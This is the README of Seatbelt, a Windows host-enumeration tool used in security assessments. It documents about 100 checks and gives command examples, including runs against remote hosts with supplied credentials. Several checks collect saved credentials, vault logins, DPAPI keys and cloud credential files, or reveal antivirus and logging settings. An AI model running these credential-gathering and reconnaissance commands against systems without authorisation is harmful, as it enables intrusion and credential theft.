||||||
|
* [Table of Contents](#table-of-contents)
|
||||||
|
* [Command Line Usage](#command-line-usage)
|
||||||
|
* [Command Groups](#command-groups)
|
||||||
|
+ [system](#system)
|
||||||
|
+ [user](#user)
|
||||||
|
+ [misc](#misc)
|
||||||
|
+ [Additional Command Groups](#additional-command-groups)
|
||||||
|
* [Command Arguments](#command-arguments)
|
||||||
|
* [Output](#output)
|
||||||
|
* [Remote Enumeration](#remote-enumeration)
|
||||||
|
* [Building Your Own Modules](#building-your-own-modules)
|
||||||
|
* [Compile Instructions](#compile-instructions)
|
||||||
|
* [Acknowledgments](#acknowledgments)
|
||||||
|
|
||||||
|
|
||||||
|
## Command Line Usage
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
%&&@@@&&
|
||||||
|
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
|
||||||
|
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
|
||||||
|
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
|
||||||
|
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
|
||||||
|
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
|
||||||
|
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
|
||||||
|
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
|
||||||
|
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
|
||||||
|
#####%###################### %%%.. @////(((&%%%%%%%################
|
||||||
|
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
|
||||||
|
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
|
||||||
|
#%%%%##,
|
||||||
|
|
||||||
|
|
||||||
|
Available commands (+ means remote usage is supported):
|
||||||
|
|
||||||
|
+ AMSIProviders - Providers registered for AMSI
|
||||||
|
+ AntiVirus - Registered antivirus (via WMI)
|
||||||
|
+ AppLocker - AppLocker settings, if installed
|
||||||
|
ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)
|
||||||
|
AuditPolicies - Enumerates classic and advanced audit policy settings
|
||||||
|
+ AuditPolicyRegistry - Audit settings via the registry
|
||||||
|
+ AutoRuns - Auto run executables/scripts/programs
|
||||||
|
+ ChromiumBookmarks - Parses any found Chrome/Edge/Brave/Opera bookmark files
|
||||||
|
+ ChromiumHistory - Parses any found Chrome/Edge/Brave/Opera history files
|
||||||
|
+ ChromiumPresence - Checks if interesting Chrome/Edge/Brave/Opera files exist
|
||||||
|
+ CloudCredentials - AWS/Google/Azure/Bluemix cloud credential files
|
||||||
|
+ CloudSyncProviders - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
|
||||||
|
CredEnum - Enumerates the current user's saved credentials using CredEnumerate()
|
||||||
|
+ CredGuard - CredentialGuard configuration
|
||||||
|
dir - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors]
|
||||||
|
+ DNSCache - DNS cache entries (via WMI)
|
||||||
|
+ DotNet - DotNet versions
|
||||||
|
+ DpapiMasterKeys - List DPAPI master keys
|
||||||
|
EnvironmentPath - Current environment %PATH$ folders and SDDL information
|
||||||
|
+ EnvironmentVariables - Current environment variables
|
||||||
|
+ ExplicitLogonEvents - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
|
||||||
|
ExplorerMRUs - Explorer most recently used files (last 7 days, argument == last X days)
|
||||||
|
+ ExplorerRunCommands - Recent Explorer "run" commands
|
||||||
|
FileInfo - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
|
||||||
|
+ FileZilla - FileZilla configuration files
|
||||||
|
+ FirefoxHistory - Parses any found FireFox history files
|
||||||
|
+ FirefoxPresence - Checks if interesting Firefox files exist
|
||||||
|
+ Hotfixes - Installed hotfixes (via WMI)
|
||||||
|
IdleTime - Returns the number of seconds since the current user's last input.
|
||||||
|
+ IEFavorites - Internet Explorer favorites
|
||||||
|
IETabs - Open Internet Explorer tabs
|
||||||
|
+ IEUrls - Internet Explorer typed URLs (last 7 days, argument == last X days)
|
||||||
|
+ InstalledProducts - Installed products via the registry
|
||||||
|
InterestingFiles - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
|
||||||
|
+ InterestingProcesses - "Interesting" processes - defensive products and admin tools
|
||||||
|
InternetSettings - Internet settings including proxy configs and zones configuration
|
||||||
|
KeePass - Finds KeePass configuration files
|
||||||
|
+ LAPS - LAPS settings, if installed
|
||||||
|
+ LastShutdown - Returns the DateTime of the last system shutdown (via the registry).
|
||||||
|
LocalGPOs - Local Group Policy settings applied to the machine/local users
|
||||||
|
+ LocalGroups - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
|
||||||
|
+ LocalUsers - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
|
||||||
|
+ LogonEvents - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
|
||||||
|
+ LogonSessions - Windows logon sessions
|
||||||
|
LOLBAS - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
|
||||||
|
+ LSASettings - LSA settings (including auth packages)
|
||||||
|
+ MappedDrives - Users' mapped drives (via WMI)
|
||||||
|
McAfeeConfigs - Finds McAfee configuration files
|
||||||
|
McAfeeSiteList - Decrypt any found McAfee SiteList.xml configuration files.
|
||||||
|
MicrosoftUpdates - All Microsoft updates (via COM)
|
||||||
|
NamedPipes - Named pipe names and any readable ACL information.
|
||||||
|
+ NetworkProfiles - Windows network profiles
|
||||||
|
+ NetworkShares - Network shares exposed by the machine (via WMI)
|
||||||
|
+ NTLMSettings - NTLM authentication settings
|
||||||
|
OfficeMRUs - Office most recently used file list (last 7 days)
|
||||||
|
OracleSQLDeveloper - Finds Oracle SQLDeveloper connections.xml files
|
||||||
|
+ OSInfo - Basic OS info (i.e. architecture, OS version, etc.)
|
||||||
|
+ OutlookDownloads - List files downloaded by Outlook
|
||||||
|
+ PoweredOnEvents - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
|
||||||
|
+ PowerShell - PowerShell versions and security settings
|
||||||
|
+ PowerShellEvents - PowerShell script block logs (4104) with sensitive data.
|
||||||
|
+ PowerShellHistory - Searches PowerShell console history files for sensitive regex matches.
|
||||||
|
Printers - Installed Printers (via WMI)
|
||||||
|
+ ProcessCreationEvents - Process creation logs (4688) with sensitive data.
|
||||||
|
Processes - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
|
||||||
|
+ ProcessOwners - Running non-session 0 process list with owners. For remote use.
|
||||||
|
+ PSSessionSettings - Enumerates PS Session Settings from the registry
|
||||||
|
+ PuttyHostKeys - Saved Putty SSH host keys
|
||||||
|
+ PuttySessions - Saved Putty configuration (interesting fields) and SSH host keys
|
||||||
|
RDCManFiles - Windows Remote Desktop Connection Manager settings files
|
||||||
|
+ RDPSavedConnections - Saved RDP connections stored in the registry
|
||||||
|
+ RDPSessions - Current incoming RDP sessions (argument == computername to enumerate)
|
||||||
|
+ RDPsettings - Remote Desktop Server/Client Settings
|
||||||
|
RecycleBin - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
|
||||||
|
reg - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
|
||||||
|
RPCMappedEndpoints - Current RPC endpoints mapped
|
||||||
|
+ SCCM - System Center Configuration Manager (SCCM) settings, if applicable
|
||||||
|
+ ScheduledTasks - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
|
||||||
|
SearchIndex - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
|
||||||
|
SecPackageCreds - Obtains credentials from security packages
|
||||||
|
SecurityPackages - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
|
||||||
|
Services - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
|
||||||
|
+ SlackDownloads - Parses any found 'slack-downloads' files
|
||||||
|
+ SlackPresence - Checks if interesting Slack files exist
|
||||||
|
+ SlackWorkspaces - Parses any found 'slack-workspaces' files
|
||||||
|
+ SuperPutty - SuperPutty configuration files
|
||||||
|
+ Sysmon - Sysmon configuration from the registry
|
||||||
|
+ SysmonEvents - Sysmon process creation logs (1) with sensitive data.
|
||||||
|
TcpConnections - Current TCP connections and their associated processes and services
|
||||||
|
TokenGroups - The current token's local and domain groups
|
||||||
|
TokenPrivileges - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
|
||||||
|
+ UAC - UAC system policies via the registry
|
||||||
|
UdpConnections - Current UDP connections and associated processes and services
|
||||||
|
UserRightAssignments - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
|
||||||
|
+ WindowsAutoLogon - Registry autologon information
|
||||||
|
WindowsCredentialFiles - Windows credential DPAPI blobs
|
||||||
|
+ WindowsDefender - Windows Defender settings (including exclusion locations)
|
||||||
|
+ WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
|
||||||
|
+ WindowsFirewall - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
|
||||||
|
WindowsVault - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
|
||||||
|
WMIEventConsumer - Lists WMI Event Consumers
|
||||||
|
WMIEventFilter - Lists WMI Event Filters
|
||||||
|
WMIFilterBinding - Lists WMI Filter to Consumer Bindings
|
||||||
|
+ WSUS - Windows Server Update Services (WSUS) settings, if applicable
|
||||||
|
|
||||||
|
|
||||||
|
Seatbelt has the following command groups: All, User, System, Slack, Chromium, Remote, Misc
|
||||||
|
|
||||||
|
You can invoke command groups with "Seatbelt.exe <group>"
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=all" runs all commands
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=user" runs the following commands:
|
||||||
|
|
||||||
|
ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum, dir,
|
||||||
|
DpapiMasterKeys, ExplorerMRUs, ExplorerRunCommands, FileZilla,
|
||||||
|
FirefoxPresence, IdleTime, IEFavorites, IETabs,
|
||||||
|
IEUrls, KeePass, MappedDrives, OfficeMRUs,
|
||||||
|
OracleSQLDeveloper, PowerShellHistory, PuttyHostKeys, PuttySessions,
|
||||||
|
RDCManFiles, RDPSavedConnections, SecPackageCreds, SlackDownloads,
|
||||||
|
SlackPresence, SlackWorkspaces, SuperPutty, TokenGroups,
|
||||||
|
WindowsCredentialFiles, WindowsVault
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=system" runs the following commands:
|
||||||
|
|
||||||
|
AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies,
|
||||||
|
AuditPolicyRegistry, AutoRuns, CredGuard, DNSCache,
|
||||||
|
DotNet, EnvironmentPath, EnvironmentVariables, Hotfixes,
|
||||||
|
InterestingProcesses, InternetSettings, LAPS, LastShutdown,
|
||||||
|
LocalGPOs, LocalGroups, LocalUsers, LogonSessions,
|
||||||
|
LSASettings, McAfeeConfigs, NamedPipes, NetworkProfiles,
|
||||||
|
NetworkShares, NTLMSettings, OSInfo, PoweredOnEvents,
|
||||||
|
PowerShell, Processes, PSSessionSettings, RDPSessions,
|
||||||
|
RDPsettings, SCCM, Services, Sysmon,
|
||||||
|
TcpConnections, TokenPrivileges, UAC, UdpConnections,
|
||||||
|
UserRightAssignments, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding,
|
||||||
|
WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding,
|
||||||
|
WSUS
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=slack" runs the following commands:
|
||||||
|
|
||||||
|
SlackDownloads, SlackPresence, SlackWorkspaces
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=chromium" runs the following commands:
|
||||||
|
|
||||||
|
ChromiumBookmarks, ChromiumHistory, ChromiumPresence
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=remote" runs the following commands:
|
||||||
|
|
||||||
|
AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials,
|
||||||
|
DNSCache, DotNet, DpapiMasterKeys, EnvironmentVariables,
|
||||||
|
ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes,
|
||||||
|
InterestingProcesses, KeePass, LastShutdown, LocalGroups,
|
||||||
|
LocalUsers, LogonEvents, LogonSessions, LSASettings,
|
||||||
|
MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings,
|
||||||
|
OSInfo, PoweredOnEvents, PowerShell, ProcessOwners,
|
||||||
|
PSSessionSettings, PuttyHostKeys, PuttySessions, RDPSavedConnections,
|
||||||
|
RDPSessions, RDPsettings, Sysmon, WindowsDefender,
|
||||||
|
WindowsEventForwarding, WindowsFirewall
|
||||||
|
|
||||||
|
"Seatbelt.exe -group=misc" runs the following commands:
|
||||||
|
|
||||||
|
ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, FileInfo, FirefoxHistory,
|
||||||
|
InstalledProducts, InterestingFiles, LogonEvents, LOLBAS,
|
||||||
|
McAfeeSiteList, MicrosoftUpdates, OutlookDownloads, PowerShellEvents,
|
||||||
|
Printers, ProcessCreationEvents, ProcessOwners, RecycleBin,
|
||||||
|
reg, RPCMappedEndpoints, ScheduledTasks, SearchIndex,
|
||||||
|
SecurityPackages, SysmonEvents
|
||||||
|
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
'Seatbelt.exe <Command> [Command2] ...' will run one or more specified checks only
|
||||||
|
'Seatbelt.exe <Command> -full' will return complete results for a command without any filtering.
|
||||||
|
'Seatbelt.exe "<Command> [argument]"' will pass an argument to a command that supports it (note the quotes).
|
||||||
|
'Seatbelt.exe -group=all' will run ALL enumeration checks, can be combined with "-full".
|
||||||
|
'Seatbelt.exe <Command> -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run an applicable check remotely
|
||||||
|
'Seatbelt.exe -group=remote -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run remote specific checks
|
||||||
|
'Seatbelt.exe -group=system -outputfile="C:\Temp\out.txt"' will run system checks and output to a .txt file.
|
||||||
|
'Seatbelt.exe -group=user -q -outputfile="C:\Temp\out.json"' will run in quiet mode with user checks and output to a .json file.
|
||||||
|
```
|
||||||
|
|
||||||
|
**Note:** searches that target users will run for the current user if not-elevated and for ALL users if elevated.
|
||||||
|
|
||||||
|
**A more detailed wiki is coming...**
|
||||||
|
|
||||||
|
|
||||||
|
## Command Groups
|
||||||
|
|
||||||
|
**Note:** many commands do some type of filtering by default. Supplying the `-full` argument prevents filtering output. Also, the command group `all` will run all current checks.
|
||||||
|
|
||||||
|
For example, the following command will run ALL checks and returns ALL output:
|
||||||
|
|
||||||
|
`Seatbelt.exe -group=all -full`
|
||||||
|
|
||||||
|
### system
|
||||||
|
|
||||||
|
Runs checks that mine interesting data about the system.
|
||||||
|
|
||||||
|
Executed with: `Seatbelt.exe -group=system`
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
| ----------- | ----------- |
|
||||||
|
| AMSIProviders | Providers registered for AMSI |
|
||||||
|
| AntiVirus | Registered antivirus (via WMI) |
|
||||||
|
| AppLocker | AppLocker settings, if installed |
|
||||||
|
| ARPTable | Lists the current ARP table and adapter information(equivalent to arp -a) |
|
||||||
|
| AuditPolicies | Enumerates classic and advanced audit policy settings |
|
||||||
|
| AuditPolicyRegistry | Audit settings via the registry |
|
||||||
|
| AutoRuns | Auto run executables/scripts/programs |
|
||||||
|
| CredGuard | CredentialGuard configuration |
|
||||||
|
| DNSCache | DNS cache entries (via WMI) |
|
||||||
|
| DotNet | DotNet versions |
|
||||||
|
| EnvironmentPath | Current environment %PATH$ folders and SDDL information |
|
||||||
|
| EnvironmentVariables | Current user environment variables |
|
||||||
|
| Hotfixes | Installed hotfixes (via WMI) |
|
||||||
|
| InterestingProcesses | "Interesting" processes - defensive products and admin tools |
|
||||||
|
| InternetSettings | Internet settings including proxy configs |
|
||||||
|
| LAPS | LAPS settings, if installed |
|
||||||
|
| LastShutdown | Returns the DateTime of the last system shutdown (via the registry) |
|
||||||
|
| LocalGPOs | Local Group Policy settings applied to the machine/local users |
|
||||||
|
| LocalGroups | Non-empty local groups, "full" displays all groups (argument == computername to enumerate) |
|
||||||
|
| LocalUsers | Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate) |
|
||||||
|
| LogonSessions | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. |
|
||||||
|
| LSASettings | LSA settings (including auth packages) |
|
||||||
|
| McAfeeConfigs | Finds McAfee configuration files |
|
||||||
|
| NamedPipes | Named pipe names and any readable ACL information |
|
||||||
|
| NetworkProfiles | Windows network profiles |
|
||||||
|
| NetworkShares | Network shares exposed by the machine (via WMI) |
|
||||||
|
| NTLMSettings | NTLM authentication settings |
|
||||||
|
| OSInfo | Basic OS info (i.e. architecture, OS version, etc.) |
|
||||||
|
| PoweredOnEvents | Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days. |
|
||||||
|
| PowerShell | PowerShell versions and security settings |
|
||||||
|
| Processes | Running processes with file info company names that don't contain 'Microsoft', "full" enumerates all processes |
|
||||||
|
| PSSessionSettings | Enumerates PS Session Settings from the registry |
|
||||||
|
| RDPSessions | Current incoming RDP sessions (argument == computername to enumerate) |
|
||||||
|
| RDPsettings | Remote Desktop Server/Client Settings |
|
||||||
|
| SCCM | System Center Configuration Manager (SCCM) settings, if applicable |
|
||||||
|
| Services | Services with file info company names that don't contain 'Microsoft', "full" dumps all processes |
|
||||||
|
| Sysmon | Sysmon configuration from the registry |
|
||||||
|
| TcpConnections | Current TCP connections and their associated processes and services |
|
||||||
|
| TokenPrivileges | Currently enabled token privileges (e.g. SeDebugPrivilege/etc.) |
|
||||||
|
| UAC | UAC system policies via the registry |
|
||||||
|
| UdpConnections | Current UDP connections and associated processes and services |
|
||||||
|
| UserRightAssignments | Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate |
|
||||||
|
| WindowsAutoLogon | Registry autologon information |
|
||||||
|
| WindowsDefender | Windows Defender settings (including exclusion locations) |
|
||||||
|
| WindowsEventForwarding | Windows Event Forwarding (WEF) settings via the registry |
|
||||||
|
| WindowsFirewall | Non-standard firewall rules, "full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public) |
|
||||||
|
| WMIEventConsumer | Lists WMI Event Consumers |
|
||||||
|
| WMIEventFilter | Lists WMI Event Filters |
|
||||||
|
| WMIFilterBinding | Lists WMI Filter to Consumer Bindings |
|
||||||
|
| WSUS | Windows Server Update Services (WSUS) settings, if applicable |
|
||||||
|
|
||||||
|
|
||||||
|
### user
|
||||||
|
|
||||||
|
Runs checks that mine interesting data about the currently logged on user (if not elevated) or ALL users (if elevated).
|
||||||
|
|
||||||
|
Executed with: `Seatbelt.exe -group=user`
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
| ----------- | ----------- |
|
||||||
|
| ChromePresence | Checks if interesting Google Chrome files exist |
|
||||||
|
| CloudCredentials | AWS/Google/Azure cloud credential files |
|
||||||
|
| CredEnum | Enumerates the current user's saved credentials using CredEnumerate() |
|
||||||
|
| dir | Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == \<directory\> \<depth\> \<regex\> |
|
||||||
|
| DpapiMasterKeys | List DPAPI master keys |
|
||||||
|
| ExplorerMRUs | Explorer most recently used files (last 7 days, argument == last X days) |
|
||||||
|
| ExplorerRunCommands | Recent Explorer "run" commands |
|
||||||
|
| FileZilla | FileZilla configuration files |
|
||||||
|
| FirefoxPresence | Checks if interesting Firefox files exist |
|
||||||
|
| IdleTime | Returns the number of seconds since the current user's last input. |
|
||||||
|
| IEFavorites | Internet Explorer favorites |
|
||||||
|
| IETabs | Open Internet Explorer tabs |
|
||||||
|
| IEUrls| Internet Explorer typed URLs (last 7 days, argument == last X days) |
|
||||||
|
| MappedDrives | Users' mapped drives (via WMI) |
|
||||||
|
| OfficeMRUs | Office most recently used file list (last 7 days) |
|
||||||
|
| PowerShellHistory | Iterates through every local user and attempts to read their PowerShell console history if successful will print it |
|
||||||
|
| PuttyHostKeys | Saved Putty SSH host keys |
|
||||||
|
| PuttySessions | Saved Putty configuration (interesting fields) and SSH host keys |
|
||||||
|
| RDCManFiles | Windows Remote Desktop Connection Manager settings files |
|
||||||
|
| RDPSavedConnections | Saved RDP connections stored in the registry |
|
||||||
|
| SecPackageCreds | Obtains credentials from security packages |
|
||||||
|
| SlackDownloads | Parses any found 'slack-downloads' files |
|
||||||
|
| SlackPresence | Checks if interesting Slack files exist |
|
||||||
|
| SlackWorkspaces | Parses any found 'slack-workspaces' files |
|
||||||
|
| SuperPutty | SuperPutty configuration files |
|
||||||
|
| TokenGroups | The current token's local and domain groups |
|
||||||
|
| WindowsCredentialFiles | Windows credential DPAPI blobs |
|
||||||
|
| WindowsVault | Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge). |
|
||||||
|
|
||||||
|
|
||||||
|
### misc
|
||||||
|
|
||||||
|
Runs all miscellaneous checks.
|
||||||
|
|
||||||
|
Executed with: `Seatbelt.exe -group=misc`
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
| ----------- | ----------- |
|
||||||
|
| ChromeBookmarks | Parses any found Chrome bookmark files |
|
||||||
|
| ChromeHistory | Parses any found Chrome history files |
|
||||||
|
| ExplicitLogonEvents | Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days. |
|
||||||
|
| FileInfo | Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s) |
|
||||||
|
| FirefoxHistory | Parses any found FireFox history files |
|
||||||
|
| HuntLolbas | Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time. |
|
||||||
|
| InstalledProducts | Installed products via the registry |
|
||||||
|
| InterestingFiles | "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time. |
|
||||||
|
| LogonEvents | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. |
|
||||||
|
| McAfeeSiteList | Decrypt any found McAfee SiteList.xml configuration files. |
|
||||||
|
| MicrosoftUpdates | All Microsoft updates (via COM) |
|
||||||
|
| OutlookDownloads | List files downloaded by Outlook |
|
||||||
|
| PowerShellEvents | PowerShell script block logs (4104) with sensitive data. |
|
||||||
|
| Printers | Installed Printers (via WMI) |
|
||||||
|
| ProcessCreationEvents | Process creation logs (4688) with sensitive data. |
|
||||||
|
| ProcessOwners | Running non-session 0 process list with owners. For remote use. |
|
||||||
|
| RecycleBin | Items in the Recycle Bin deleted in the last 30 days - only works from a user context! |
|
||||||
|
| reg | Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors] |
|
||||||
|
| RPCMappedEndpoints | Current RPC endpoints mapped |
|
||||||
|
| ScheduledTasks | Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "full" dumps all Scheduled tasks |
|
||||||
|
| SearchIndex | Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == \<search path\> \<pattern1,pattern2,...\> |
|
||||||
|
| SecurityPackages | Enumerates the security packages currently available using EnumerateSecurityPackagesA() |
|
||||||
|
| SysmonEvents | Sysmon process creation logs (1) with sensitive data. |
|
||||||
|
|
||||||
|
|
||||||
|
### Additional Command Groups
|
||||||
|
|
||||||
|
Executed with: `Seatbelt.exe -group=GROUPNAME`
|
||||||
|
|
||||||
|
| Alias | Description |
|
||||||
|
| ----------- | ----------- |
|
||||||
|
| Slack | Runs modules that start with "Slack*" |
|
||||||
|
| Chrome | Runs modules that start with "Chrome*" |
|
||||||
|
| Remote | Runs the following modules (for use against a remote system): AMSIProviders, AntiVirus, DotNet, ExplorerRunCommands, Hotfixes, InterestingProcesses, LastShutdown, LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, PowerShell, ProcessOwners, PuttyHostKeys, PuttySessions, RDPSavedConnections, RDPSessions, RDPsettings, Sysmon, WindowsDefender, WindowsEventForwarding, WindowsFirewall |
|
||||||
|
|
||||||
|
|
||||||
|
## Command Arguments
|
||||||
|
|
||||||
|
Command that accept arguments have it noted in their description. To pass an argument to a command, enclose the command an arguments in double quotes.
|
||||||
|
|
||||||
|
For example, the following command returns 4624 logon events for the last 30 days:
|
||||||
|
|
||||||
|
`Seatbelt.exe "LogonEvents 30"`
|
||||||
|
|
||||||
|
The following command queries a registry three levels deep, returning only keys/valueNames/values that match the regex `.*defini.*`, and ignoring any errors that occur.
|
||||||
|
|
||||||
|
`Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"`
|
||||||
|
|
||||||
|
|
||||||
|
## Output
|
||||||
|
|
||||||
|
Seatbelt can redirect its output to a file with the `-outputfile="C:\Path\file.txt"` argument. If the file path ends in .json, the output will be structured json.
|
||||||
|
|
||||||
|
For example, the following command will output the results of system checks to a txt file:
|
||||||
|
|
||||||
|
`Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"`
|
||||||
|
|
||||||
|
|
||||||
|
## Remote Enumeration
|
||||||
|
|
||||||
|
Commands noted with a + in the help menu can be run remotely against another system. This is performed over WMI via queries for WMI classes and WMI's StdRegProv for registry enumeration.
|
||||||
|
|
||||||
|
To enumerate a remote system, supply `-computername=COMPUTER.DOMAIN.COM` - an alternate username and password can be specified with `-username=DOMAIN\USER -password=PASSWORD`
|
||||||
|
|
||||||
|
For example, the following command runs remote-focused checks against a remote system:
|
||||||
|
|
||||||
|
`Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""`
|
||||||
|
|
||||||
|
|
||||||
|
## Building Your Own Modules
|
||||||
|
|
||||||
|
Seatbelt's structure is completely modular, allowing for additional command modules to be dropped into the file structure and loaded up dynamically.
|
||||||
|
|
||||||
|
There is a commented command module template at `.\Seatbelt\Commands\Template.cs` for reference. Once built, drop the module in the logical file location, include it in the project in the Visual Studio Solution Explorer, and compile.
|
||||||
|
|
||||||
|
|
||||||
|
## Compile Instructions
|
||||||
|
|
||||||
|
We are not planning on releasing binaries for Seatbelt, so you will have to compile yourself.
|
||||||
|
|
||||||
|
Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/). Simply open up the project .sln, choose "release", and build. To change the target .NET framework version, [modify the project's settings](https://github.com/GhostPack/Seatbelt/issues/27) and rebuild the project.
|
||||||
|
|
||||||
|
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
Seatbelt incorporates various collection items, code C# snippets, and bits of PoCs found throughout research for its capabilities. These ideas, snippets, and authors are highlighted in the appropriate locations in the source code, and include:
|
||||||
|
|
||||||
|
* [@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect.
|
||||||
|
* [Boboes' code concerning NetLocalGroupGetMembers](https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889)
|
||||||
|
* [ambyte's code for converting a mapped drive letter to a network path](https://gist.github.com/ambyte/01664dc7ee576f69042c)
|
||||||
|
* [Igor Korkhov's code to retrieve current token group information](https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418)
|
||||||
|
* [RobSiklos' snippet to determine if a host is a virtual machine](https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280)
|
||||||
|
* [JGU's snippet on file/folder ACL right comparison](https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder/21996345#21996345)
|
||||||
|
* [Rod Stephens' pattern for recursive file enumeration](http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/)
|
||||||
|
* [SwDevMan81's snippet for enumerating current token privileges](https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni)
|
||||||
|
* [Jared Atkinson's PowerShell work on Kerberos ticket caches](https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1)
|
||||||
|
* [darkmatter08's Kerberos C# snippet](https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/)
|
||||||
|
* Numerous [PInvoke.net](https://www.pinvoke.net/) samples <3
|
||||||
|
* [Jared Hill's awesome CodeProject to use Local Security Authority to Enumerate User Sessions](https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us)
|
||||||
|
* [Fred's code on querying the ARP cache](https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG)
|
||||||
|
* [ShuggyCoUk's snippet on querying the TCP connection table](https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660)
|
||||||
|
